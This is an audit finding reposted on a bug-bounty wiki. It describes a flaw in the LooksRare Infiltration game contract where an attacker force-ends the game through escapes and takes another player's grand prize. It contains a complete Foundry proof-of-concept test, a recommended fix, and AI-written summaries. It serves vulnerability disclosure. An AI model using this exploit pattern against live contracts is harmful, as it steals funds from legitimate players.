Attacker can steal reward of actual winner by force ending the game
The game determines the winner by the lowest agent index, and a player can escape all but one wounded agent to instantly end the game, even if another player still has an active agent. This allows the attacker to claim the grand prize instead of the rightful winner.
0xReiAyanami Follow with SilentDefendersOfDeFi, cergyk and 1 other
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2023-10-looksrare-judging/issues/98
Found by
0xReiAyanami, SilentDefendersOfDeFi, cergyk, mstpr-brainbot
A malicious user can force win the game by escaping all but one wounded agent, and steal the grand price.
Vulnerability Detail
Currently following scenario is possible: There is an attacker owning some lower index agents and some higher index agents. There is a normal user owing one agent with an index between the attackers agents. If one of the attackers agents with an lower index gets wounded, he can escape all other agents and will instantly win the game, even if the other User has still one active agent.
This is possible because because the winner is determined by the agent index, and escaping all agents at once wont kill the wounded agent because the game instantly ends.
Following check inside startNewRound prevents killing of wounded agents by starting a new round:
uint256 activeAgents = gameInfo.activeAgents;
if (activeAgents == 1) {
revert GameOver();
}
Following check inside of claimPrize pays price to first ID agent:
uint256 agentId = agents[1].agentId;
_assertAgentOwnership(agentId);
See following POC:
POC
Put this into Infiltration.mint.t.sol and run forge test --match-test forceWin -vvv
function test_forceWin() public {
address attacker = address(1337);
//prefund attacker and user1
vm.deal(user1, PRICE * MAX_MINT_PER_ADDRESS);
vm.deal(attacker, PRICE * MAX_MINT_PER_ADDRESS);
// MINT some agents
vm.warp(_mintStart());
// attacker wants to make sure he owns a bunch of agents with low IDs!!
vm.prank(attacker);
infiltration.mint{value: PRICE * 30}({quantity: 30});
// For simplicity we mint only 1 agent to user 1 here, but it could be more, they could get wounded, etc.
vm.prank(user1);
infiltration.mint{value: PRICE *1}({quantity: 1});
//Attacker also wants a bunch of agents with the highest IDs, as they are getting swapped with the killed agents (move forward)
vm.prank(attacker);
infiltration.mint{value: PRICE * 30}({quantity: 30});
vm.warp(_mintEnd());
//start the game
vm.prank(owner);
infiltration.startGame();
vm.prank(VRF_COORDINATOR);
uint256[] memory randomWords = new uint256[](1);
randomWords[0] = 69_420;
VRFConsumerBaseV2(address(infiltration)).rawFulfillRandomWords(_computeVrfRequestId(1), randomWords);
// Now we are in round 2 we do have 1 wounded agent (but we can imagine any of our agent got wounded, doesn´t really matter)
// we know with our HARDCODED RANDOMNESS THAT AGENT 3 gets wounded!!
// Whenever we get in a situation, that we own all active agents, but 1 and our agent has a lower index we can instant win the game!!
// This is done by escaping all agents, at once, except the lowest index
uint256[] memory escapeIds = new uint256[](59);
escapeIds[0] = 1;
escapeIds[1] = 2;
uint256 i = 4; //Scipping our wounded AGENT 3
for(; i < 31;) {
escapeIds[i-2] = i;
unchecked {++i;}
}
//skipping 31 as this owned by user1
unchecked {++i;}
for(; i < 62;) {
escapeIds[i-3] = i;
unchecked {++i;}
}
vm.prank(attacker);
infiltration.escape(escapeIds);
(uint16 activeAgents, uint16 woundedAgents, , uint16 deadAgents, , , , , , , ) = infiltration.gameInfo();
console.log("Active", activeAgents);
assertEq(activeAgents, 1);
// This will end the game instantly.
//owner should not be able to start new round
vm.roll(block.number + BLOCKS_PER_ROUND);
vm.prank(owner);
vm.expectRevert();
infiltration.startNewRound();
//Okay so the game is over, makes sense!
// Now user1 has the only active AGENT, so he should claim the grand prize!
// BUT user1 cannot
vm.expectRevert(IInfiltration.NotAgentOwner.selector);
vm.prank(user1);
infiltration.claimGrandPrize();
//instead the attacker can:
vm.prank(attacker);
infiltration.claimGrandPrize();
Impact
Attacker can steal the grand price of the actual winner by force ending the game trough escapes.
This also introduces problems if there are other players with wounded agents but lower < 50 TokenID, they can claim prices for wounded agents, which will break parts of the game logic.
Code Snippet
Tool used
Manual Review
Recommendation
Start a new Round before the real end of game to clear all wounded agents and reorder IDs.
Discussion
0xhiroshi
https://github.com/LooksRare/contracts-infiltration/pull/154
SergeKireev
Fix LGTM
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the game ends as soon as only one active agent remains, without first resolving wounded agents or reordering IDs, so the lowest-index agent (which may be wounded) is incorrectly treated as the winner.
Impact
The attacker can steal the grand prize from the actual winner by force-ending the game, and this may also let other players with wounded agents below ID 50 claim prizes for wounded agents, breaking game logic.
What the attacker needed
Attacker owns multiple agents with low and high IDs; another player owns an agent with an ID between the…; attacker's low-ID agent gets wounded
The fix
The game should start a new round before the real end to clear all wounded agents and reorder IDs.
How it was found
- Attacker mints many agents with low IDs and many with high IDs, while a normal user mints one agent with an ID between the attacker's low and high IDs.
- The game starts and a random agent (e.g., agent 3) gets wounded.
- Attacker calls escape with all agent IDs except the wounded low-index agent and the user's agent.
- The game ends instantly with only one active agent (the wounded one).
- Attacker calls claimGrandPrize and receives the prize, while the user cannot claim.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this game, each player controls multiple agents identified by numbers. The winner is supposed to be the owner of the lowest-numbered agent that is still active. However, a player can make all their agents escape except one that is wounded, which ends the game immediately. Because the game ends before the wounded agent is removed, the attacker's low-numbered agent is still considered the winner, letting them take the prize.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.